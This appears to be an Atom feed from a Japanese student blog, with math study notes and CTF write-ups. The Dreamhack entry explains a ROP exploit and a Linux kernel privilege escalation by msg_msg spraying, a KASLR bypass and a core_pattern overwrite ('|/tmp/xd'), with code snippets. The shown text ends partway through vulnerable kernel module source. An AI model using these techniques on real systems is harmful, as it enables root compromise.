Ronaの雑記 Zola 2026-06-08T00:00:00+00:00 https://blog.rqda.wtf/atom.xml 2026-06-08T00:00:00+00:00 2026-06-08T00:00:00+00:00 Unknown https://blog.rqda.wtf/春アドカレ/1ri-mu/ <h1 id="xian-xing-dai-shu-b">線形代数B</h1> <p>期末が6/22(月)にあるらしい。</p> <h2 id="yan-xi-1">演習1</h2> <p>$$ W= \left\lbrace \begin{pmatrix} x\\ y \end{pmatrix} \in\mathbb{R}^2 \mid x+y=1 \right\rbrace $$ $$ W \text{ は } \mathbb{R}^2 \text{ の部分空間であるか否かを答えよ。} $$</p> <p>集合Wが部分空間であるためには</p> <ol> <li>W の中の2つのベクトルを足しても、また W の中に入ること</li> <li>W の中のベクトルを実数倍しても、また W の中に入ること</li> </ol> <p>の2つを満たす必要がある。</p> <p>ここで、 $$ \begin{pmatrix} 0\\ 1 \end{pmatrix} \in W $$</p> <p>$$ \begin{pmatrix} 1\\ 0 \end{pmatrix} \in W $$ なので、両者ともにWの中のベクトルであるが、これら2つを足すと</p> <p>$$ \begin{pmatrix} 1\\ 1 \end{pmatrix} \notin W $$ となり、1を満たさない。よって、Wは$\mathbb{R}^2$の部分空間ではない。</p> <h2 id="yan-xi-2">演習2</h2> <p>$$ \text{次のベクトルが1次独立であるか否かを答えよ。なお、}i\text{ は虚数単位である。} $$</p> <p>$$ (1)\quad \begin{pmatrix} 1\\ i\\ i-1 \end{pmatrix}, \quad \begin{pmatrix} 2i\\ -i-2\\ i+1 \end{pmatrix}, \quad \begin{pmatrix} i+1\\ -2\\ -4 \end{pmatrix} $$</p> <p>$$ (2)\quad \begin{pmatrix} 1\\ i\\ i-1 \end{pmatrix}, \quad \begin{pmatrix} 2i\\ -i-2\\ i+1 \end{pmatrix}, \quad \begin{pmatrix} i+1\\ -2\\ 4 \end{pmatrix} $$</p> <p>暗記事項として</p> <p>$\text{ベクトルが1次独立} \Rightarrow \text{ベクトルを並べた行列の行列式が0でない}$</p> <p>があるらしい。</p> <p>これを使う。サラスの公式で行列式を計算すると $$ \begin{vmatrix} 1 &amp; 2i &amp; i+1\\ i &amp; -i-2 &amp; -2\\ i-1 &amp; i+1 &amp; -4 \end{vmatrix} = 8i $$</p> <p>よって (1)は一次独立。</p> <p>同じようにして</p> <p>$$ \begin{vmatrix} 1 &amp; 2i &amp; i+1\\ i &amp; -i-2 &amp; -2\\ i-1 &amp; i+1 &amp; 4 \end{vmatrix} = 0 $$</p> <p>よって(2)は一次従属。</p> <h2 id="yan-xi-3">演習3</h2> <p>\[ \mathbf{v}_1= \begin{pmatrix} 1\\ 1\\ 0 \end{pmatrix}, \quad \mathbf{v}_2= \begin{pmatrix} 0\\ 1\\ 1 \end{pmatrix}, \quad \mathbf{v}_3= \begin{pmatrix} 1\\ 2\\ 1 \end{pmatrix} \] \[ (1)\quad \langle \mathbf{v}_1,\mathbf{v}_2\rangle \text{ を集合の式で表せ。} \] \[ (2)\quad \langle \mathbf{v}_3\rangle \text{ を集合の式で表せ。} \] \[ (3)\quad \langle \mathbf{v}_1,\mathbf{v}_2\rangle \text{ と } \langle \mathbf{v}_3\rangle \text{ の関係を答えよ。} \]</p> <p>$\langle \rangle$ はその中のベクトルたちで作れるすべての1次結合の集合を表すらしい。</p> <p>katexの書き方がめんどくさそうかつそんなに難しくなさそう。</p> 2026-06-08T00:00:00+00:00 2026-06-08T00:00:00+00:00 Unknown https://blog.rqda.wtf/春アドカレ/2ri-mu/ <h1 id="wen-ti-1">問題1</h1> <p>次の関数の連続性を調べなさい． $$ f(x,y)= \begin{cases} \dfrac{3xy}{2x^2+y^2}, &amp; ((x,y)\ne(0,0))\\ 0, &amp; ((x,y)=(0,0)) \end{cases} $$</p> <p>$(x,y)\neq(0,0)$のときは連続。$(x,y)=(0,0)$の時を考える。</p> <p>まず、$y=0$として近づけると</p> <p>$$ f(x,0)= \dfrac{0}{2x^2} $$ より、 $$ \lim_{n\to0}f(x,0) = 0 $$</p> <p>次に$y=x$として近づけると</p> <p>$$ f(x,x)= \dfrac{3x^2}{3x^2} = 1 $$</p> <p>となり、近づき方によって極限値が違うから、$f(x,y)$は$(0,0)$において不連続。</p> <p>連続性を調べるときはこういうのをとりあえず代入してみるといいらしい。</p> <ul> <li>$x=0$</li> <li>$y=0$</li> <li>$y=x$</li> <li>$y=x^2$</li> </ul> <h1 id="wen-ti-2">問題2</h1> <h2 id="1">1</h2> <p>次の関数を偏微分しなさい． $$ f(x,y)=x^3+3ax^2y-4xy^2+2y^3 \quad (a\text{ は定数}) $$</p> <p>偏微分するときは、片方を固定して考える。</p> <p>$$ f_x=3x^2+6axy-4xy^2\\ f_y=3ax^2-8xy+6y^2 $$</p> <h2 id="2">2</h2> <p>$$ f(x,y)=e^{2x^2-y} $$</p> <p>同じくやる。</p> <p>$$ f_x=4xe^{2x^2-y}\\ f_y=-e^{2x^2-y} $$</p> <h1 id="wen-ti-3">問題3</h1> <p>次の関数の第 2 次偏導関数を求めなさい．</p> <h2 id="1-1">(1)</h2> <p>$$ f(x,y)=2x^3-3x^2y+5xy^2+y^3 $$</p> <p>$f_xx, f_xy, f_yx, f_yy$をそれぞれ求める。katexで書くのがめんどくさいので省略。</p> <p>ちなみに、$\dfrac{\partial}{\partial x}$って書くとxで微分することを意味するらしい。</p> <p>$$ f_xx = 12x−6y \\ f_xy =−6x+10y \\ f_yx =−6x+10y \\ f_yy =10x+6y $$</p> <h2 id="2-1">(2)</h2> <p>$$ f(x,y)=xy\cos(x-y) $$</p> <p>$xy\cos(x-y)$の微分は積の微分と合成関数の微分を使う必要があるらしくて、積の微分を忘れてた。</p> <p>$$ (ab)' = a'b + ab' $$ らしいです。 答えは省略。</p> <h1 id="wen-ti-4">問題4</h1> <p>関数 $z=f(x,y)=x^2+2y^2-1$ の点 $$ (x,y,z)=(1,1,2) $$ における接平面を求めなさい．</p> <p>接平面の公式は $$ z - f(a,b) = f_x(a,b)(x-a) + f_y(a,b)(y-b) $$</p> <p>この式がよく分からなかったので一旦2次元のことを振り返る。</p> <p>$y = f(x)$の点aにおける接戦のことを思い出すと $$ y - f(a) = f'(a)(x-a) $$ で表されて、$f'(a)$とは接線の傾きになる。つまり、</p> <p>縦の変化量=傾き×横の変化量</p> <p>となる。これと一緒のことをしてるのが接平面の公式で</p> <p>zの変化量 = x方向に動いたことによるzの変化量 + y方向に動いたことによるzの変化量</p> <p>を表している。</p> <p>あとは代入して計算すると、</p> <p>$$ z - 2 = 2(x-1) + 4(y-1)\\ z = 2x + 4y -4 $$</p> <p>となる。</p> 2025-04-09T00:00:00+00:00 2025-04-09T00:00:00+00:00 Unknown https://blog.rqda.wtf/dreamhack-inv-2025/ <h1 id="xoronly">xoronly</h1> <p>stack上に無限に書き込むことができます。書き込みは既にある値とxorが取られれます。xor後の文字列は<code>puts</code>されます。</p> <h2 id="challenge">challenge</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">int</span><span style="color: #B392F0;"> main</span><span>()</span></span> <span class="giallo-l"><span>{</span></span> <span class="giallo-l"><span style="color: #F97583;"> char</span><span style="color: #FFAB70;"> buf</span><span>[</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">100</span><span>]</span><span style="color: #F97583;"> =</span><span> {</span><span style="color: #79B8FF;">0</span><span>,};</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;"> setvbuf</span><span>(stdin,</span><span style="color: #79B8FF;"> 0</span><span>,</span><span style="color: #79B8FF;"> 2</span><span>,</span><span style="color: #79B8FF;"> 0</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> setvbuf</span><span>(stdout,</span><span style="color: #79B8FF;"> 0</span><span>,</span><span style="color: #79B8FF;"> 2</span><span>,</span><span style="color: #79B8FF;"> 0</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> setvbuf</span><span>(stderr,</span><span style="color: #79B8FF;"> 0</span><span>,</span><span style="color: #79B8FF;"> 2</span><span>,</span><span style="color: #79B8FF;"> 0</span><span>);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;Welcome to the XOR-only encryption service!&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;We will encrypt your data with a single byte key.&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;Please enter your data&quot;</span><span>);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> while</span><span>(</span><span style="color: #79B8FF;">1</span><span>)</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;&gt; &quot;</span><span>);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span>(</span><span style="color: #F97583;">int</span><span> i</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">0</span><span>;; i</span><span style="color: #F97583;">++</span><span>)</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #F97583;"> char</span><span> c </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> getchar</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span>(c </span><span style="color: #F97583;">==</span><span style="color: #9ECBFF;"> &#39;</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #FFAB70;"> buf</span><span>[i]</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;"> break</span><span>;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span>(</span><span style="color: #F97583;">!</span><span style="color: #B392F0;">isalnum</span><span>(c))</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;Invalid character detected!&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #FFAB70;"> buf</span><span>[i]</span><span style="color: #F97583;"> ^=</span><span> c;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;Here is your encrypted data: &quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(buf);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span>}</span></span></code></pre><h2 id="exploit">exploit</h2> <h3 id="aslr-leak">aslr leak</h3> <p><code>__libc_start_main</code>のアドレスを<code>puts(buf)</code>でleakします。</p> <h3 id="rop">ROP</h3> <p><code>[0x00, 0-9, A-z]</code>が入力できて、xorすることができるので、<code>0 - 0x7f</code>までの任意の数値を作り出せます。 後はlibcのアドレスが<code>0x00 - 0x7f</code>までで構成されるアドレスになるまで接続を繰り返すことで、<code>pop rdi; system</code>のROPをします。</p> <h1 id="kidheap">kidheap</h1> <p>WIP</p> <h1 id="ainque">ainque</h1> <p>The provided kernel module can load riscv ELF binary and run it in kernel context.</p> <h2 id="vulnerability">vulnerability</h2> <p><code>pml4e_index</code> has no validation. It can exceed 0x200, which cause OOB access. \</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">static</span><span> QCPU_EXIT_TYPE </span><span style="color: #B392F0;">write_memory</span><span>(</span><span style="color: #79B8FF;">qvm_t</span><span style="color: #F97583;"> *</span><span style="color: #FFAB70;">qvm</span><span>,</span><span style="color: #F97583;"> uint64_t</span><span style="color: #FFAB70;"> va</span><span>,</span><span style="color: #F97583;"> uint64_t</span><span style="color: #FFAB70;"> size</span><span>,</span><span style="color: #F97583;"> uint64_t</span><span style="color: #FFAB70;"> value</span><span>,</span><span style="color: #F97583;"> bool</span><span style="color: #FFAB70;"> is_signed</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span>(</span><span style="color: #F97583;">int</span><span> i</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">0</span><span>; i</span><span style="color: #F97583;">&lt;</span><span>size; i</span><span style="color: #F97583;">++</span><span>) {</span></span> <span class="giallo-l"><span> qcpu_pte_or_fail pte_safe </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> qcpu_get_pte_from_va_failsafe</span><span>(qvm-&gt;qcpu.cr3, va</span><span style="color: #F97583;">+</span><span>i);</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span>(pte_safe.success) {</span></span> <span class="giallo-l"><span> ((</span><span style="color: #F97583;">uint8_t *</span><span>)</span><span style="color: #B392F0;">PTE_TO_PHYS</span><span>(pte_safe.pte))[(va</span><span style="color: #F97583;">+</span><span>i)</span><span style="color: #F97583;"> &amp; 0x</span><span style="color: #79B8FF;">fff</span><span>]</span><span style="color: #F97583;"> =</span><span> (</span><span style="color: #F97583;">uint8_t</span><span>)((value </span><span style="color: #F97583;">&gt;&gt;</span><span> (i</span><span style="color: #F97583;">*</span><span style="color: #79B8FF;">8</span><span>))</span><span style="color: #F97583;"> &amp; 0x</span><span style="color: #79B8FF;">ff</span><span>);</span></span> <span class="giallo-l"><span> }</span><span style="color: #F97583;"> else</span><span> {</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> QCPU_SIGSEGV;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> QCPU_CONTINUE;</span></span> <span class="giallo-l"><span>}</span></span></code></pre><pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span>qcpu_pte_or_fail </span><span style="color: #B392F0;">qcpu_get_pte_from_va_failsafe</span><span>(</span><span style="color: #79B8FF;">qcpu_pte_t</span><span style="color: #F97583;"> ****</span><span style="color: #FFAB70;">cr3</span><span>,</span><span style="color: #F97583;"> uint64_t</span><span style="color: #FFAB70;"> va</span><span>) {</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> qcpu_pte_t</span><span style="color: #F97583;"> ***</span><span>pml4e </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> qcpu_get_pml4e</span><span>(cr3, va </span><span style="color: #F97583;">&gt;&gt;</span><span style="color: #79B8FF;"> 39</span><span>);</span></span> <span class="giallo-l"><span style="color: #6A737D;">// the following omitted</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #79B8FF;">qcpu_pte_t</span><span style="color: #F97583;"> ***</span><span style="color: #B392F0;">qcpu_get_pml4e</span><span>(</span><span style="color: #79B8FF;">qcpu_pte_t</span><span style="color: #F97583;"> ****</span><span>cr3,</span><span style="color: #F97583;"> uint64_t</span><span> pml4e_index)</span></span> <span class="giallo-l"><span>{</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span style="color: #FFAB70;"> cr3</span><span>[pml4e_index];</span></span> <span class="giallo-l"><span>}</span></span></code></pre><h2 id="exploit-1">exploit</h2> <h3 id="kaslr-bypass">kaslr bypass</h3> <p>The basic strategy is spraying <code>msg_msg</code> and use it as <code>cr3</code>. <code>msg_msg</code> has <code>list_head</code> member, which has a valid pointer, they can be used as <code>pml4e</code> or <code>pdpe</code>.</p> <p>We can leak kbase by reading IDT region, which is located at fixed virtual address.</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #6A737D;"> // VM side</span></span> <span class="giallo-l"><span style="color: #F97583;"> unsigned long</span><span> gate </span><span style="color: #F97583;">= *</span><span>(</span><span style="color: #F97583;">long *</span><span>)</span><span style="color: #B392F0;">PTI_TO_VIRT</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">2000</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 1</span><span>,</span><span style="color: #79B8FF;"> 1</span><span>,</span><span style="color: #79B8FF;"> 0</span><span>,</span><span style="color: #79B8FF;"> 6</span><span>,</span><span style="color: #79B8FF;"> 0</span><span>)</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 52</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;"> unsigned long</span><span> kbase_diff </span><span style="color: #F97583;">=</span><span> gate </span><span style="color: #F97583;">- 0x</span><span style="color: #79B8FF;">820</span><span>;</span></span></code></pre> <p>To load crafted value as <code>pml4e</code>, spray a bunch of <code>msg_msg</code> struct after <code>QVM_LOAD</code>. It contains the all possible pointer (0x200) pointing to <code>&amp;core_pattern</code> considering KASLR.</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #6A737D;"> // Host side</span></span> <span class="giallo-l"><span style="color: #B392F0;"> rep</span><span>(i,</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">1f8</span><span>) {</span></span> <span class="giallo-l"><span> ((</span><span style="color: #F97583;">unsigned long *</span><span>)msg_buf.mtext)[i </span><span style="color: #F97583;">+</span><span style="color: #79B8FF;"> 1</span><span>]</span><span style="color: #F97583;"> =</span></span> <span class="giallo-l"><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">ffffffff</span><span style="color: #F97583;">lu * 0x</span><span style="color: #79B8FF;">100000</span></span> <span class="giallo-l"><span style="color: #F97583;"> |</span><span> (i </span><span style="color: #F97583;">+ 0x</span><span style="color: #79B8FF;">82b</span><span style="color: #F97583;">lu</span><span>)</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">100</span><span style="color: #F97583;">lu</span><span style="color: #6A737D;"> // KASLR bypass</span></span> <span class="giallo-l"><span style="color: #F97583;"> | 0x</span><span style="color: #79B8FF;">7b</span></span> <span class="giallo-l"><span style="color: #F97583;"> |</span><span> (</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">8000000000000000</span><span style="color: #F97583;">l</span><span>);</span></span> <span class="giallo-l"><span> }</span></span></code></pre> <div class="inserted_img"> <img src="https:&#x2F;&#x2F;blog.rqda.wtf&#x2F;processed_images&#x2F;pagetable.9752a598875d1a49.png" alt=""/> <p>IDT address and all possible kbase address</p></div> <h3 id="core-pattern-overwrite">core_pattern overwrite</h3> <p>By writing <code>|/tmp/xd</code> into <code>core_pattern</code> and causing crash, the kernel executes <code>/tmp/xd</code> as root.</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #6A737D;"> // VM side</span></span> <span class="giallo-l"><span style="color: #F97583;"> *</span><span>(</span><span style="color: #F97583;">long *</span><span>)</span><span style="color: #B392F0;">PTI_TO_VIRT</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">2000</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 1</span><span>,</span><span style="color: #79B8FF;"> 1</span><span>,</span><span style="color: #79B8FF;"> 0</span><span>,</span><span style="color: #79B8FF;"> 7</span><span style="color: #F97583;"> +</span><span> kbase_diff </span><span style="color: #F97583;">&amp; 0x</span><span style="color: #79B8FF;">fff</span><span>,</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">c20</span><span>)</span><span style="color: #F97583;"> =</span></span> <span class="giallo-l"><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">64782f706d742f7c</span><span>;</span><span style="color: #6A737D;"> // |/tmp/xd</span></span></code></pre> 2024-07-10T00:00:00+00:00 2024-07-10T00:00:00+00:00 Unknown https://blog.rqda.wtf/downunder-2024/ <p><a rel="external" href="https://ctftime.org/event/2284">DownUnderCTF</a>のupsolveです。</p> <h1 id="faulty-kernel">Faulty Kernel</h1> <h2 id="gai-yao">概要</h2> <p>KernelはLinux 6.10.0-rc4で、SMAP,SMEP,kASLRは有効です。</p> <p>mmapとfault handlerがあるmisc deviceを登録するカーネルオブジェクトが渡されます。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">#define</span><span style="color: #B392F0;"> PAGECOUNT</span><span> (</span><span style="color: #79B8FF;">128</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">struct</span><span> shared_buffer {</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> pgoff_t</span><span> pagecount;</span></span> <span class="giallo-l"><span style="color: #F97583;"> struct</span><span> page</span><span style="color: #F97583;">**</span><span> pages;</span></span> <span class="giallo-l"><span>};</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">static struct</span><span> miscdevice dev;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">static struct</span><span> file_operations dev_fops </span><span style="color: #F97583;">=</span><span> {</span></span> <span class="giallo-l"><span> .owner </span><span style="color: #F97583;">=</span><span> THIS_MODULE,</span></span> <span class="giallo-l"><span> .open </span><span style="color: #F97583;">=</span><span> dev_open,</span></span> <span class="giallo-l"><span> .mmap </span><span style="color: #F97583;">=</span><span> dev_mmap</span></span> <span class="giallo-l"><span>};</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">static struct</span><span> vm_operations_struct dev_vm_ops </span><span style="color: #F97583;">=</span><span> {</span></span> <span class="giallo-l"><span> .fault </span><span style="color: #F97583;">=</span><span> dev_vma_fault</span></span> <span class="giallo-l"><span>};</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">static int</span><span style="color: #B392F0;"> dev_mmap</span><span>(</span><span style="color: #F97583;">struct</span><span> file</span><span style="color: #F97583;">*</span><span style="color: #FFAB70;"> filp</span><span>,</span><span style="color: #F97583;"> struct</span><span> vm_area_struct</span><span style="color: #F97583;">*</span><span style="color: #FFAB70;"> vma</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> struct</span><span> shared_buffer</span><span style="color: #F97583;">*</span><span> sbuf </span><span style="color: #F97583;">=</span><span> filp-&gt;private_data;</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> pgoff_t</span><span> pages </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> vma_pages</span><span>(vma);</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (pages </span><span style="color: #F97583;">&gt;</span><span> sbuf-&gt;pagecount) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> return -</span><span>EINVAL;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> vma-&gt;vm_ops</span><span style="color: #F97583;"> = &amp;</span><span>dev_vm_ops;</span></span> <span class="giallo-l"><span> vma-&gt;vm_private_data</span><span style="color: #F97583;"> =</span><span> sbuf;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> SUCCESS;</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">static</span><span style="color: #79B8FF;"> vm_fault_t</span><span style="color: #B392F0;"> dev_vma_fault</span><span>(</span><span style="color: #F97583;">struct</span><span> vm_fault </span><span style="color: #F97583;">*</span><span style="color: #FFAB70;">vmf</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> struct</span><span> vm_area_struct </span><span style="color: #F97583;">*</span><span>vma </span><span style="color: #F97583;">=</span><span> vmf-&gt;vma;</span></span> <span class="giallo-l"><span style="color: #F97583;"> struct</span><span> shared_buffer </span><span style="color: #F97583;">*</span><span>sbuf </span><span style="color: #F97583;">=</span><span> vma-&gt;vm_private_data;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #79B8FF;"> pgoff_t</span><span> pgoff </span><span style="color: #F97583;">=</span><span> vmf-&gt;pgoff;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (pgoff </span><span style="color: #F97583;">&gt;</span><span> sbuf-&gt;pagecount) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> VM_FAULT_SIGBUS;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;"> get_page</span><span>(sbuf-&gt;pages[pgoff]);</span></span> <span class="giallo-l"><span> vmf-&gt;page</span><span style="color: #F97583;"> =</span><span> sbuf-&gt;pages[pgoff];</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> SUCCESS;</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">static int</span><span style="color: #B392F0;"> dev_open</span><span>(</span><span style="color: #F97583;">struct</span><span> inode</span><span style="color: #F97583;">*</span><span style="color: #FFAB70;"> inodep</span><span>,</span><span style="color: #F97583;"> struct</span><span> file</span><span style="color: #F97583;">*</span><span style="color: #FFAB70;"> filp</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> i;</span></span> <span class="giallo-l"><span style="color: #F97583;"> struct</span><span> shared_buffer</span><span style="color: #F97583;">*</span><span> sbuf;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sbuf </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> kzalloc</span><span>(</span><span style="color: #F97583;">sizeof</span><span>(</span><span style="color: #F97583;">*</span><span>sbuf), GFP_KERNEL);</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #F97583;">!</span><span>sbuf) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printk</span><span>(KERN_INFO </span><span style="color: #9ECBFF;">&quot;[dev] Failed to initilise buffer.</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> goto</span><span> fail;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sbuf-&gt;pagecount</span><span style="color: #F97583;"> =</span><span> PAGECOUNT;</span></span> <span class="giallo-l"><span> sbuf-&gt;pages</span><span style="color: #F97583;"> =</span><span style="color: #B392F0;"> kmalloc_array</span><span>(sbuf-&gt;pagecount,</span><span style="color: #F97583;"> sizeof</span><span>(</span><span style="color: #F97583;">*</span><span>sbuf-&gt;pages), GFP_KERNEL);</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #F97583;">!</span><span>sbuf-&gt;pages) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printk</span><span>(KERN_INFO </span><span style="color: #9ECBFF;">&quot;[dev] Failed to initilise buffer.</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> goto</span><span> fail_alloc_buf;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> (i </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>; i </span><span style="color: #F97583;">&lt;</span><span> sbuf-&gt;pagecount; i</span><span style="color: #F97583;">++</span><span>) {</span></span> <span class="giallo-l"><span> sbuf-&gt;pages[i]</span><span style="color: #F97583;"> =</span><span style="color: #B392F0;"> alloc_page</span><span>(GFP_KERNEL);</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #F97583;">!</span><span>sbuf-&gt;pages[i]) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printk</span><span>(KERN_ERR </span><span style="color: #9ECBFF;">&quot;[dev] Failed to allocate page </span><span style="color: #79B8FF;">%d</span><span style="color: #9ECBFF;">.</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&quot;</span><span>, i);</span></span> <span class="giallo-l"><span style="color: #F97583;"> goto</span><span> fail_alloc_pages;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> filp-&gt;private_data</span><span style="color: #F97583;"> =</span><span> sbuf;</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> SUCCESS;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>fail_alloc_pages:</span></span> <span class="giallo-l"><span style="color: #F97583;"> while</span><span> (i</span><span style="color: #F97583;">--</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (sbuf-&gt;pages[i]) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> __free_page</span><span>(sbuf-&gt;pages[i]);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;"> kfree</span><span>(sbuf-&gt;pages);</span></span> <span class="giallo-l"><span>fail_alloc_buf:</span></span> <span class="giallo-l"><span style="color: #B392F0;"> kfree</span><span>(sbuf);</span></span> <span class="giallo-l"><span>fail:</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> FAIL;</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">static int</span><span style="color: #B392F0;"> dev_init</span><span>(</span><span style="color: #F97583;">void</span><span>) {</span></span> <span class="giallo-l"><span> dev.minor</span><span style="color: #F97583;"> =</span><span> MISC_DYNAMIC_MINOR;</span></span> <span class="giallo-l"><span> dev.name</span><span style="color: #F97583;"> =</span><span> DEV_NAME;</span></span> <span 